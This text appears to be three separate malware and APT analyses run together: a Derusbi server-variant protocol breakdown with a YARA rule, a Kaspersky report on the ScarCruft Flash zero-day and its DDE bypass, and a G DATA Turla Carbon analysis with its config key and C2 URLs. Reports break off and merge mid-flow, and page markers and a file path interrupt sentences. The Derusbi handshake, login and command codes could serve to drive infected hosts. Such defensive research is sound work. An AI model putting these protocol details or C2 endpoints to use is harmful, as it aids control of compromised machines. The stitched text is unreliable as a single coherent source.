The newly generated infection ID is then saved to the registry location stated previously.
The mainLoop attempts to get the privileges for SeDebugPrivilege, SeLoadDriverPrivilege, SeShutdownPrivilege, and SeTcbPrivilege in order to perform the necessary operations to load the driver portion of the server variant.
The mainLoop will attempt to open a handle to the driver (if it is already installed) by calling CreateFile with the filename of \Device\93144EB0-8E3E-4591-B307-8EEBFE7DB28F.
Failing this, the mainLoop determines if the victims machine is running the 360 antivirus product by looking for a process with the name ZhuDongFangYu.exe.
If the process is running, the driver is not installed but the mainLoop continues regardless.
If the process is not found, however, the mainLoop will extract the driver binary from an encoded buffer within itself, decode the file in memory (using a rotating 4-byte XOR key), and install the driver on the victims machine as SYSDIR\Drivers\93144EB0-8E3E-4591-B307-8EEBFE7DB28F.sys.
With the driver present (or recently installed), the mainLoop spawns another thread (dubbed DerusbiThread::DerusbiThread) that acts as the primary communication loop.
DerusbiThread::DerusbiThread begins by generating a PCC_SOCK object.
PCC_SOCK is an abstraction for the communication subsystem.
The prototype for PCC_SOCK appears in Figure 1.
class BD_SOCK // members BD_SOCK() // destructor BD_SOCK Copy(bool fCopySocket) // duplicate object // member variables DWORD dwLastError char szHostName[256] DWORD dwListeningPortNumber SOCKET sktRemoteEndpoint SOCKET hListeningSocket class PCC_SOCK: BD_SOCK PCC_SOCK() // destructor // virtual members PCC_SOCK Copy(bool fCopyListeningSocket) SOCKET ConnectToRemoteEndpointByNameAndAttemptChannelByPOSTOrHandshake(int a2, int a3, int a4, int a5, char pszHostname, int wHostPort) SOCKET ConnectToRemoteEndpointByNameAndHandshake(char pszHostname, int wHostPort) SOCKET ConnectToRemoteEndpointByNameAndPerformPOSTLogin(char pszHostname, int wHostPort) SOCKET WaitForClient() int SendEncodedData(int dwPktType, void payload, size_t dwPayloadSize) int RecvEncodeData(DWORD pdwPktType, char pvPayload, DWORD pdwPayloadSize) void freeMemory(void pMemory) // member functions int SendVictimInfo() int WaitForReadEvent(int dwTimeout) int SOCKSConnectWithRandomLocalPort(int dwEndPointIP, u_short hostshort) int BindToRandomPort(SOCKET s) int SendBuffer(SOCKET s, char buf, int len) SOCKET AcceptIncomingConnection() SOCKET ConnectToRemoteEndpointByName(char szHostName, int hostshort) SOCKET ConnectToRemoteEndpoint(int dwIP, u_short wPort) int ReadFromRemoteEndpoint(char buf, int len) SOCKET NewSocket() int BindSocket(SOCKET s, int dwLowPort, int dwHighPort) int SendAuthenicationResponse(void pvResponse) int SendHTTP200ResponseIfViaHeaderFound (char Str) // member variables char compressionBuffer[65536] Figure 1: PCC_SOCK Declaration in Pseudo-C With a new PCC_SOCK object allocates, DerusbiThread::DerusbiThread selects a port between 40,000 and 45,000 to use as a listening port.
The port number is sent to the driver (via IOCTL 0x220200) in order to inform the driver where to redirect incoming traffic.
The Windows Device Driver (Firewall Hook) section explains the functionality of the driver in greater detail.
DerusbiThread::DerusbiThread binds to the specified port and opens the port as a listener.
At this point DerusbiThread::DerusbiThread enters an infinite loop of waiting for new connections to the listening socket and dispatching a new thread (dubbed CommLoop) to handle the traffic for the socket until fShutdown is set.
At this point, the startup sequence for Derusbi is complete and the server variant moves into a communication and command dispatch phase.
Windows Device Driver (Firewall Hook) The communication between the controlling client and the Derusbi server variant depends on the device driver being in place.
The authors of the device driver designed the driver to work on Windows 2000 and later versions of the Windows operating system.
Depending on the version of the victims OS, the driver will hook the Windows Firewall by either using the surprisingly undocumented IOCTL_IP_SET_FIREWALL_HOOK command of the \\Device\IP device for Windows XP or older machines or by using the documented Windows Filtering Platform (WFP) found in Windows Vista and later.
The device driver inspects incoming network traffic from any client connecting to the victim machine, determines if an appropriate handshake packet occurs at the beginning of a new TCP session, and then makes the decision to reroute the network traffic to the Derusbi malware or let the traffic continue unaltered to its original service.
Figure 2: Device Driver Traffic Redirection Once a session has been established by means of a valid handshake, any subsequent packets from the client for the given TCP session will automatically be directed by the device driver to the Derusbi server variant.
The device driver does not capture or store any network traffic outside of the initial handshake inspection.
Communication and Command Dispatch The Derusbi server variant will select an available, random port between the range of 40,000 and 45,000 on the victims machine upon which to listen.
After selecting the port, the server variant will wait for incoming connections and instruct the driver to redirect appropriate TCP sessions to the listening port.
In order to establish a valid communication channel between the server variant and a controlling client, a specific handshake is required.
The handshake between a client and the server variant is well defined and consisting of 64 bytes, the data within the handshake is entirely random with the exception of the 3rd and 8th DWORD.
The handshake begins when the client sends a 64 byte random buffer with the 3rd (offset 12) and 8th (offset 32) DWORDs defined as: DWORD3 DWORD0 DWORD8 ROR(DWORD0, 7) The server will acknowledge the handshake by sending a 64 byte random buffer with the same pattern for the 3rd and 8th DWORDs based on the new, randomly generated 1st DWORD (offset 0).
It is the clients handshake that the driver for the server variant triggers off of.
Some older versions of the server variant use a different set of DWORDs to validate the handshake, also the tests are the same.
These other versions have been observed to use the following DWORDs: DWORD1 DWORD0 DWORD2 ROR(DWORD0, 7) If the handshake fails, the server variant provides a secondary means to authenticate a client.
Presumably a failsafe if the driver is unable to load, the secondary method requires the client to send a POST request with the following form: POST /forum/login.cgi HTTP/1.1\r\n In addition, the POST request must contain a Via field.
If the request and the Via field exist, the server variant authenticates the client and responds with HTTP/1.0 200 Server: Apache/2.2.3 (Red Hat) Accept-Ranges: bytes Content-Type: text/html Proxy-Connection: keep-alive If the clients request does not meet the appropriate authentication criteria, the server variant sends: HTTP/1.0 400 Bad Request Server: Apache/2.2.3 (Red Hat) Connection: close With a communication channel between the server variant and the client established, the server sends information about the victims computer.
Consisting of a 180 byte data structure (Figure 3), the server variant provides the client with a variety of details about the victims machine.
The VictimInfoPacket has an identifier of 2 (see the dwPktType explanation below).
The communication between the server and the client at this point, and for the remainder of the session, is encrypted.
pragma pack(push, 1) struct VictimInfoPacket int magicValue char szInfectionID[64] char szComputerName[64] char szSelfIP[16] char unknownArray[16] int dwOSandSPVersionInfo int dwBuildNumber char unknownValue char OemId __int16 unused_align2 int fCampaignCodeMatch pragma pack(pop) Figure 3: VictimInfoPacket Structure Definition Communication between the client and the server variant exists in the form of a sequence of encrypted datagrams.
Each datagram consists of a 24 byte header followed by an optional payload section.
The header is not encrypted but if the optional payload is attached, the payload is encrypted using a DWORD XOR.
The format of the header is as follows: struct PacketHeader DWORD dwTotalPacketSize DWORD dwPktType DWORD dwChecksum DWORD dwEncryptionKey DWORD fCompressedPayload DWORD dwDecompressedSize The dwTotalPacketSize field defines the total size of the datagram including both the size of the header and the size of the optional payload.
The dwPktType field correlates to the module ID which allows the server variant to route the datagram to the appropriate module without further inspection of the payload data.
The dwChecksum value is sum of all of the bytes within the optional header (the field is ignored, but present, if there is no payload section).
The dwEncryptionKey is the 32-bit XOR encryption key for the payload section.
If the fCompressedPayload field is non-zero, then the data within the payload is compressed using LZO compression (prior to XOR encoding) and the dwDecompressedSize field represents the final size of the payload data after decompression.
The payload section can have up to three different presentations depending on if compression is used.
The first presentation is the original payload data as generated by the client or server, the second presentation is the LZO compressed form, and the final presentation (the presentation that exists going across the network) is the 32-bit XOR encoded data blob.
Figure 4 provides a graphical representation of the presentation types of the payload section.
Figure 4: Possible Presentations of the Payload Section of a Derusbi Server Variants Datagram After sending the server information via the VictimInfoPacket, the server variant spins off a CommLoop thread for the connection and returns to waiting for new connections from clients to appear.
The CommLoop thread begins by establishing the set of internal command handlers available to the server variant.
With the exception of the administrative command handler (which is built into the CommLoop), each of the internal commands consists of an object derived from a base object PCC_BASEMOD.
class PCC_BASEMOD PCC_BASEMOD() // destructor // virtual member functions void return1() // always returns 1 void Cleanup(void) void ProcessPacket(void pkt, DWORD dwPktSize) int ReadWaitingData(void pPacket, DWORD dwPktSize) int MallocWithClear(size_t Size) int Free(void Memory) // member variables DWORD dwPacketIdentifierCode Figure 5: PCC_BASEMOD Pseudo-C Declaration The server variant appears to have a modular design allowing an attacker to compile only the components that are necessary for any given operation.
The malware supports up to 8 different modules per sample with each module designating its own ID code.
Novetta has observed the following modules: ID Class Name Module Description 0x81 PCC_CMD Remote command shell 0x82 PCC_PROXY Network tunneling 0x84 PCC_FILE File management 0xF0 n/a Derusbi administrative [built-in module that does not count against the maximum of 8 modules per variant sample] Given the spacing in ID numbers (as noted in the gap between 0x82 and 0x84 in an otherwise sequential ID scheme), it is conceivable that additional modules exist.
After establishing the tools, an infinite loop (CommLoop) is entered in which the server variant will wait for up to 1/100 of a second for input from the network if such input arrives, the server routes the packet to the appropriate handler.
If the network input does not arrive, the CommLoop queries each of the command handlers for any packets they may have queued (by calling each command handlers ReadWaitingData function) and transmits the packets the handlers have generated.
Additionally, if more than 60 seconds passes between network inputs from the client or network outputs from the server variant, the CommLoop will send out a beacon packet (dwPktType 4).
CommLoop routes packets to the appropriate command handler object by locating the dwPacketIdentifierCode within each of the registered command handlers that matches the incoming packets dwPktType.
When the appropriate command handler is found, CommLoop passes the payload of portion of the packet to the command handlers ProcessPacket function.
PCC_CMD The PCC_CMD object contains the remote shell functionality of the server variant along with the ability to execute arbitrary programs.
Derived from the PCC_BASEMOD class, the PCC_CMD classs operations are focused largely in the ProcessPacket and ReadWaitingData functions.
The PCC_CMD::ProcessPacket function works as a stub function that merely passes the packets payload data (pkt) data to PCC_CMD::ProcessPacketEx while ignoring the dwPktSize parameter.
The packets payload data is, in and of itself, another datagram with a header and optional payload section.
The payload of each PCC_CMD destined packet contains the following header: struct PCCCMDPacketHeader DWORD dwPacketSize DWORD field_4 // purpose unknown, seemingly unused.
DWORD dwCommandType DWORD dwLastError The dwCommandType field specifies the specific PCC_CMD command that the client is requesting the server variant perform.
There are four commands that PCC_CMD supports: dwCommandType Functionality 0x04 Activate the remote shell 0x08 Execute the specified file 0x0C Send input to remote shell 0x10 Terminate the remote shell For each of the commands, any output from or acknowledgement of the commands comes in the form of another packet consisting of a PacketHeader followed by a PCCCMDPacketHeader and any optional payload data.
The dwCommandType of the newly constructed packet matches the commands original dwCommandType value (e.g.
responses from 0x04 commands will reply with dwCommandType set to 0x04).
PCC_CMD::ProcessPacketEx will queue the response packets in an internal buffer.
The PCC_CMD::ReadWaitingData member function is responsible for transmitting any of the previously queued packets from PCC_CMD::ProcessPacketEx.
If there are no queued packets, PCC_CMD::ReadWaitingData will perform a queue of the console output pipe for the remote shell process (if it is active) the function will also attempt to read the entirety of the waiting data, which then becomes the payload of a PacketHeader/PCCCMDPacketHeader based packet with the dwCommandType set to 0x0C.
If the read is unsuccessful, the function returns a PacketHeader/PCCCMDPacketHeader based packet with the dwCommandType set to 0x10 indicating an error and terminating the remote shell session.
PCC_FILE The PCC_FILE object provides a large range of file system administration functions.
PCC_FILE is derived from the PCC_BASEMOD class meaning that the processing of commands should be contained within the PCC_FILE::ProcessPacket member function with some additional processing done in the PCC_FILE::ReadWaitingData member function.
This is not necessarily the case, however.
The PCC_FILE::ProcessPacket member function, much like PCC_CMD::ProcessPacket, is little more than a stub function that passes only a copy of the payload data (pkt) to PCC_FILE::ProcessPacketEx.
PCC_FILE::ProcessPacketEx performs no file management operations but instead adds any incoming command packets to a queue for processing by PCC_FILE::ReadWaitingData if the packet is not already within the queue (thus avoiding duplication of commands).
The PCC_FILE::ReadWaitingData member function is a stub function that calls PCC_FILE::ProcessQueue and returns the resulting packet from the queue processing.
This means that file operations are surprisingly low priority, and potentially, high latency operations.
Each packet that arrives within the packet queue of PCC_FILE contains a standard header followed by a (quasi-optional) payload data blob.
The header for the PCC_FILE command packets takes the following form: struct PCCFilePacketHeader DWORD dwTotalPayloadSize DWORD dwCommandType The dwCommandType field specifies the specific PCC_FILE command that the client is requesting the server variant to perform.
PCC_FILE supports 17 (of which 15 are unique) commands.
While the general form within the Derusbi server variant communication model is to return a packet with the same dwCommandType as the original command, many of the PCC_FILE commands return a status packet type (dwCommandType 0x04).
dwCommandType Functionality Response dwCommandType 0x0C Purge PCC_FILE Commands from Queue Based on dwCommandType (no response) 0x10 Enumerate Attached Drives 0x10 0x14 Get File Attributes 0x14 0x18 File Search 0x18 0x1C Rename File 0x04 0x20 Delete File 0x04 0x24 Create Directory 0x04 0x28 Upload File to Client 0x28 and 0x04 0x2C Recursively Enumerate Directory 0x2C 0x30 Download File from Client 0x04 0x34 Copy File 0x04 0x38 Move File 0x04 0x3C Duplicate File Timestamp 0x04 0x40 Execute File 0x04 0x44 Recursively Enumerate Directory 0x44 0x48 Recursively Enumerate Directory 0x48 0x4C Enumerate All Drives and Files 0x4C Commands 0x2C, 0x44, and 0x48 all appear to be the exact same base command with only slight variations in their response format.
It is unclear why this particular command is included three times in PCC_FILE.
PCC_PROXY The PCC_PROXY object provides the platform for a tunneling network traffic to and from the client to a specific endpoint (or endpoints if multiple tunnels are activated by the client).
Derived on the PCC_BASEMOD class, the PCC_PROXY class performs very little network tunneling within the CommLoop interactive PCC_PROXY::ProcessPacket and PCC_PROXY::ReadWaitingData member functions.
The PCC_PROXY::ProcessPacket member function queues incoming PCC_PROXY packets into a received queue while PCC_PROXY::ReadWaitingData returns packets from a transmit queue, with the directionality from the perspective of the server variant.
The core of the PCC_PROXYs network tunneling comes from a spawned processing thread (PCC_PROXY::MainThread) that is generated when the PCC_PROXY object is instantiated.
The PCC_PROXY::MainThread function consist an infinite loop that only terminates when the PCC_PROXY::fShutdown flag is set.
Otherwise, the loop will inspect another internal flag (PCC_PROXY::fNetworkEnabled) to determine if the network tunneling is currently active.
If the PCC_PROXY::fNetworkEnabled flag is set to false, then tunneling is disabled but command processing continues.
It is possible to have more than one tunnel active at any given time.
In order to firewall tunnels from each other over the backbone of the server variants command channel, each tunnel is assigned a specific channel identifier.
This allows the client to specify which specific tunnel data is transmitted to as well as telling the client which tunnel is returning data.
If the PCC_PROXY::fNetworkEnabled flag is set to true, PRC_PROXY::MainThread will loop through all active channels, perform a select on the socket connected to the endpoint and -- if the select indicates that there is data waiting on a particular socket -- the data is read.
A new PCC_PROXY based packet is then generated and the packet is queued for delivery to the client.
After processing each of the channels for new data, PCC_PROXY::MainThread processes incoming command packets from the client (an operation usually handled by the PCC_BASEMOD::ProcessPacket function).
Packets belonging to the PCC_PROXY subsystem have a common header, much like the other PCC_BASEMOD derived classes.
To this end, the PCC_PROXY packets have the same packet header as the PCCFilePacketHeader packet header.
The PCC_PROXY supports five commands: dwCommandType Functionality 0x04 Connect to Specified Endpoint (Creates New Channel) 0x08 Send Data to Endpoint 0x0C Terminate Channel 0x10 Enable Network Tunneling (PCC_PROXY::fNetworkEnabled set to true) 0x14 Disable Network Tunneling (PCC_PROXY::fNetworkEnabled set to false) Administrative Commands The administrative commands are built-in to the server variant and are not derived from the PCC_BASEMOD class.
Each of the administrative command packets contains the same header structure as the PCCFilePacketHeader structure followed by an optional payload data blob.
The administrative commands consist of the following five commands: dwCommandType Functionality 0x08 Terminate the current network connection between the client and the server variant.
0x10 Run the Cleanup member function of each of the registered PCC_BASEMOD derived objects, effectively resetting the state of each of the modules.
0x14 Write infection ID to the registry and immediately terminate the server variant.
0x18 Shutdown the server variant (set fShutdown to true) 0x1C Drop a new DLL to TEMP\tmp1.dat, load the DLL into memory and call DllRegisterServer to install a new server variant binary on the victims system.
Detection Given the encrypted, and potentially compressed, nature of Derusbi server variant network traffic, detecting the traffic on a network can be problematic using traditional IDS signatures.
Using a heuristic approach, it would be possible to detect the handshake of a possible Derusbi server variant session by looking for the following pattern: Client Server Exactly 64 bytes transmitted Exactly 64 bytes transmitted First 8 bytes taking the pattern of 0x28 0x00 0x00 0x00 0x02 0x00 0x00 0x00 Detecting Derusbi server variants on disk is possible using the following YARA signature: rule Derusbi_Server strings: uuid 93144EB0-8E3E-4591-B307-8EEBFE7DB28F wide ascii infectionID1 -s-03d infectionID2 -03d other ZwLoadDriver condition: uuid or (infectionID1 and infectionID2 and other)
Flash zero-day exploit deployed by the ScarCruft APT Group securelist.com/blog/research/75100/operation-daybreak/ Earlier this year, we deployed new technologies in Kaspersky Lab products to identify and block zero-day attacks.
This technology already proved its effectiveness earlier this year, when it caught an Adobe Flash zero day exploit (CVE-2016-1010).
Earlier this month, our technology caught another zero-day Adobe Flash Player exploit deployed in targeted attacks.
We believe the attacks are launched by an APT Group we track under the codename ScarCruft.
ScarCruft is a relatively new APT group victims have been observed in Russia, Nepal, South Korea, China, India, Kuwait and Romania.
The group has several ongoing operations, utilizing multiple exploits two for Adobe Flash and one for Microsoft Internet Explorer.
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown (0-day) Adobe Flash Player exploit.
It is also possible that the group deployed another zero day exploit, CVE-2016-0147, which was patched in April.
This exploit caught by our technologies highlights a few very interesting evasion methods, some of which we havent seen before.
We describe them below.
Operation Daybreak general information Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails.
To date, we have observed more than two dozen victims for these attacks.
Although the exact attack vector remains unknown, the targets appear to receive a malicious link which points to a hacked website where the exploitation kit is hosted.
The hacked web server hosting the exploit kit is associated with the ScarCruft APT and used in another line of attacks.
Certain details, such as using the same infrastructure and targeting, make us believe that Operation Daybreak is being done by the ScarCruft APT group.
The ScarCruft APT group is a relatively new player and managed to stay under the radar for some time.
In general, their work is very professional and focused.
Their tools and techniques are well above the average.
Prior to the discovery of Operation Daybreak, we observed the ScarCruft APT launching a series of attacks in Operation Erebus.
Operation Erebus leverages another Flash Player exploit (CVE-2016-4117) through the use of watering hole attacks.
In the case of Operation Daybreak, the hacked website hosting the exploit kit performs a couple of browser checks before redirecting the visitor to a server controlled by the attackers hosted in Poland.
The main exploit page script contains a BASE64 decoder, as well as rc4 decryption implemented in JS.
The parameters sent to the ap.php script are randomly generated on each hit, so the second stage payload gets 1/7 https://securelist.com/blog/research/75100/operation-daybreak/ https://securelist.com/blog/research/73255/the-mysterious-case-of-cve-2016-0034-the-hunt-for-a-microsoft-silverlight-0-day/ https://cdn.securelist.com/files/2016/06/scarcruft_eng_1.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_2.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_3.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_4.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_5.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_6.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_7.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_8.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_9.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_10.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_11.png https://cdn.securelist.com/files/2016/06/scarcruft_eng_12.png encrypted differently each time.
This prevents easy detection by MD5 or signatures of the second stage payload.
The exploitation process consists of three Flash objects.
The Flash object that triggers the vulnerability in Adobe Flash Player is located in second SWF delivered to the victim.
At the end of the exploitation chain, the server sends a legitimate PDF file to user china.pdf.
The china.pdf file shown to the victims in the last stage of the attack seems to be written in Korean: Decoy document shown to victims The document text talks about disagreements between China and The North over nuclear programs and demilitarization.
Vulnerability technical details The vulnerability (CVE-2016-4171) is located in the code which parses the ExecPolicy metadata information.
This is what the structure looks like: This structure also contains an array of item_info structures: The documentation says the following about these structures: The item_info entry consists of item_count elements that are interpreted as key/value pairs of indices into the string table of the constant pool.
If the value of key is zero, this is a keyless entry and only carries a value.
In the exploit used by the ScarCruft group, we have the following item_info structures: Item_info array in exploit object The code that triggers the vulnerability parses this structure and, for every key and value members, tries to get the respective string object from string constant pool.
The problem relies on the fact that the .key and .value members are used as indexes without any kind of boundary checks.
It is easy to understand that if key or value members are larger than string constant pool array, a memory corruption problem appears.
It is also important to mention that this members (value, key) are directly read from SWF object, so an attacker can easily use them to implement arbitrary read/write operations.
2/7 Getting object by index from constant pool without any checks Using this vulnerability, the exploit implements a series of writes at specified addresses to achieve full remote code execution.
Bypassing security solutions through DDE The Operation Daybreak attack employs multiple stages, which are all outstanding in some way.
One of them attracted our attention because it implements a bypass for security solutions we have never seen before.
In the first stage of the attack, the decrypted shellcode executed by the exploit downloads and executes a special DLL file.
This is internally called yay_release.dll: 3/7 Second stage DLL internal name and export The code of this module is loaded directly into the exploited application and has several methods of payload execution.
One of method uses a very interesting technique of payload execution which is designed mostly to bypass modern anti-malware products.
This uses an interesting bug in the Windows DDE component.
It is not a secret that anti-malware systems trigger on special system functions that are called in the context of potential vulnerable applications to make a deeper analysis of API calls such as CreateProcess, WinExec or ShellExecute.
For instance, such defense technologies trigger if a potentially vulnerable application such as Adobe Flash starts other untrusted applications, scripts interpreters or even the command console.
To make execution of payload invisible for these defense systems, the threat actors used the Windows DDE interface in a very clever way.
First, they register a special window for it: In the window procedure, they post WM_DDE_EXECUTE messages with commands: Sending WM_DDE_EXECUTE message to window The attackers used the following commands: 4/7 The main idea here is that if you create a LNK to an executable or command, then use the ShowGroup method, the program will be executed.
This is an undocumented behavior in Microsoft Windows.
In our case, a malicious VBS was executed, which installs a next stage payload stored in CAB file: Malicious VBS used in the attack We have reported this creative abuse of DDE to Microsofts security team.
The final payload of the attack is a CAB file with the following MD5: 8844a537e7f533192ca8e81886e70fbc The MS CAB file (md5: 8844a537e7f533192ca8e81886e70fbc) contains 4 malicious DLL files: MD5 Filename 5/7 a6f14b547d9a7190a1f9f1c06f906063 cfgifut.dll e51ce28c2e2d226365bc5315d3e5f83e cldbct.dll 067681b79756156ba26c12bc36bf835c cryptbase.dll f8a2d4ddf9dc2de750c8b4b7ee45ba3f msfte.dll The file cldbct.dll (e51ce28c2e2d226365bc5315d3e5f83e) connects to the following C2: hXXp://webconncheck.myfw[.
]us:8080/8xrss.php The modules are signed by an invalid digital certificates listed as Tencent Technology (Shenzhen) Company Limited with serial numbers, copied from real Tencent certificates: 5d 06 88 f9 04 0a d5 22 87 fc 32 ad ec eb 85 b0 71 70 bd 93 cf 3f 18 9a e6 45 2b 51 4c 49 34 0e Invalid digital signature on malware samples The malware deployed in this attack is extremely rare and apparently reserved only for high profile victims.
Our products detect it as well as other malware from ScarCruft as HEUR:Trojan.
Win32.ScarCruft.gen.
Victims: Although our visibility is rather limited, some of the victims of these attacks include: A law enforcement agency in an Asian country One of the largest trading companies in Asia and in the world A mobile advertising and app monetization company in the USA Individuals related to the International Association of Athletics Federations A restaurant located in one of the top malls in Dubai Some of these were compromised over the last few days, indicating the attackers are still very active.
Conclusions: Nowadays, in-the-wild Flash Player exploits are becoming rare.
This is because in most cases they need to be coupled with a Sandbox bypass exploit, which makes them rather tricky.
Additionally, Adobe has been doing a great job at implementing new mitigations to make exploitation of Flash Player more and more difficult.
Nevertheless, resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets.
As usual, the best defense against targeted attacks is a multi-layered approach.
Windows users should combine traditional anti-malware technologies with patch management, host intrusion detection and, ideally, whitelisting and 6/7 default-deny strategies.
According to a study by the Australian DSD, 85 of the targeted attacks analysed could have been stopped by four simple defense strategies.
While its impossible to achieve 100 protection, in practice and most cases all you have to do is increase your defenses to the point where it becomes too expensive for the attacker who will just give up and move on to other targets.
Kaspersky products detect flash exploit as HEUR:Exploit.
SWF.Agent.gen also our AEP (Automatic Exploit Prevention) component can successfully detect this attack.
Payloads are detected with HEUR:Trojan.
Win32.ScarCruft.gen verdict.
More information about the ScarCruft APT group is available to customers of Kaspersky Intelligent Services.
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Stage 1: loader MD5: 43e896ede6fe025ee90f7f27c6d376a4G DATA security solutions detect this as Backdoor.
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| 18,951
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data/reports_final/0075.txt
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Stage 1: loader MD5: 43e896ede6fe025ee90f7f27c6d376a4G DATA security solutions detect this as Backdoor.
TurlaCarbon.
A (Engine A) and Win32.Trojan.
Cobra.
A (Engine B).
The first stage is rather small as the number of instructions and actions is rather small.
Simply spoken, its purpose is to load the second stage.
To perform this task, the first stage checks all of the files in SystemRoot\inf\ in order to find the entry with the unique ID previously mentioned and therefore to determine the path for stage 2.
After that, the library of the second stage is loaded and, subsequently, the exported function ModuleStart() is executed: Stage 2: the orchestrator Md5: e6d1dcc6c2601e592f2b03f35b06fa8f Version: 3.71 G DATA security solutions detect this threat as Backdoor.
TurlaCarbon.
A (Engine A) and Win32.Trojan.
Cobra.
B (Engine B).
The second stage is called system by the authors of the malware.
The internal name of the library is carbon_system.dll.
The purpose of this code is to stay in background and orchestrate several requests and tasks made by the other .dlls or named pipe connections.
Mutex creation The orchestrator creates several mutexes.
These mutexes are used for two reasons: used by the third stage in order to detect whether the orchestrator has been launched correctly on the infected system used to execute the orchestrator only once.
Here are the created mutexes: Global\MSCTF.Shared.
MUTEX.zRX Global\DBWindowsBase Global\IEFrame.
LockDefaultBrowser Global\WinSta0_DesktopSessionMut Global\5FA3BC02-920F-D42A-68BC-04F2A75BE158 Global\SENS.LockStarterCacheResource Global\ShimSharedMemoryLock Working files and directories Here are the working files and directories used by the orchestrator.
The orchestrator creates one single random path and then stores all necessary folders mentioned under this one randomly generated path: randompath\Nls\: directory related to the tasks to be executed randompath\0208\: directory related to the temporary files randompath\System\: directory related to the additional plugins randompath\System\bootmisc.sdi: seems not to be used randompath\0208\C_56743.NLS: files related to the tasks to be executed and the plugins randompath\Nls\b9s3coff.ax: files related to the tasks to be executed and the named pipe randompath\Nls\a67ncodc.ax: file related to the tasks to be executed randompath\vndkrmn.dic: log file randompath\qavsrc.dat: log file randompath\miniport.dat: configuration file randompath\asmcerts.rs: purpose currently unknown randompath\getcert.rs: purpose currently unknown The files are not automatically created during the startup of the malware.
The files are created only if the orchestrator needs them.
Configuration file The configuration file (miniport.dat) is used by the second and the third stage.
The file is encrypted with the CAST-128 algorithm, the same algorithm that has been used by Uroburos to encrypt the file systems.
The encryption key is: 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0xfe, 0xfc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10 Note: following the logic, 0xfc would be expected to be 0xdc.
Here is an example of the configuration file: paulgdata:/Carbon/ ./decrypt.py miniport.dat [NAME] object_idacce6511-ba11-fa11-f0047d1 iproc iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe ex ,netscape.exe,mozilla.exe,adobeupdater.exe,chrome.exe [TIME] user_winmin 1800000 user_winmax 3600000 sys_winmin 3600000 sys_winmax 3700000 task_min 20000 task_max 30000 checkmin 60000 checkmax 70000 logmin 60000 logmax 120000 lastconnect1419925298 http://en.wikipedia.org/wiki/CAST-128 timestop active_con 900000 time2task3600000 check_lastconnect1419925298 [CW_LOCAL] quantity 0 [CW_INET] quantity 4 address1 soheylistore.ir:80:/modules/mod_feed/feed.php address2 tazohor.com:80:/wp-includes/feed-rss-comments.php address3 jucheafrica.com:80:/wp-includes/class-wp-edit.php address4 61paris.fr:80:/wp-includes/ms-set.php [CW_INET_RESULTS] quantity 4 address1 soheylistore.ir:80:/modules/mod_feed/feed.php address2 tazohor.com:80:/wp-includes/feed-rss-comments.php address3 jucheafrica.com:80:/wp-includes/class-wp-edit.php address4 61paris.fr:80:/wp-includes/ms-set.php [TRANSPORT] system_pipe comnap spstatus yes adaptable no [DHCP] server 135 [LOG] logperiod 7200 lastsend1419924312 [WORKDATA] run_task run_task_system [VERSION] System3/71 User3/62 The websites listed in [CW_INET] and [CW_INET_RESULTS] are all compromised legitimate WordPress websites.
By the time of writing this article, all websites have been cleaned and patched.
The file format is the same as the .ini file format from Windows.
The authors use the Windows API to parse the configuration (GetPrivateProfileStringA()).The file contains: A unique ID to identify the infected machine (object_id) The command and control server used by stage 3 (addressX) The version of the system and the user library (in [VERSION]) The frequency and time of execution of several internal tasks ([TIME]) The name of the named pipe used as communication channel between the system and the user (system_pipe) The process name where stage 3 will be injected (iproc) Communication via named pipes The orchestrator creates two named pipes in order to communicate with stage 3 or to receive messages from an external machine: \\.\\pipe\sdlrpc \\.\\pipe\comnap (the name in the configuration file) Features The orchestrator creates nine threads in order to handle the different features.
We will now have a look at the most interesting threads.
One thread is used to check if the parameters in the configuration file have changed.
A second thread is used to check the available hard disk space.
If the HDD space is low, the orchestrator generates an entry in the log file: The preceding screenshot reveals a rather interesting use of English, again.
From what we can conclude, we believe Survive me is supposed to mean something like Rescue me in the sense of help me to survive.
A third thread is created in order to handle the tasks.
A task is a command sent from the CC that is to be executed.
The code to be executed is stored locally on the infected machine.
The orchestrator is able to execute libraries (by executing the export start()) or to execute Windows command line.
The command line can be execute with the current user privilege or with the privilege of another user (via CreateProcessA() or CreateProcessAsUserA()): A fourth thread is used to handle the log rotation file (vndkrmn.dic).
A fifth thread is used to create and read the data sent to the named pipes.
A sixth thread is used to load plugins.
For the orchestrator a module is a library file with a specific export called ModuleStart().
The plugin list is stored in the configuration file ([PLUGINS]).
This thread is very similar to the third thread, but is bares some minor differences.
The function to execute the plugins is not the same.
Finally a seventh thread is used to inject stage 3 (msximl.dll) into the browsers and email clients.
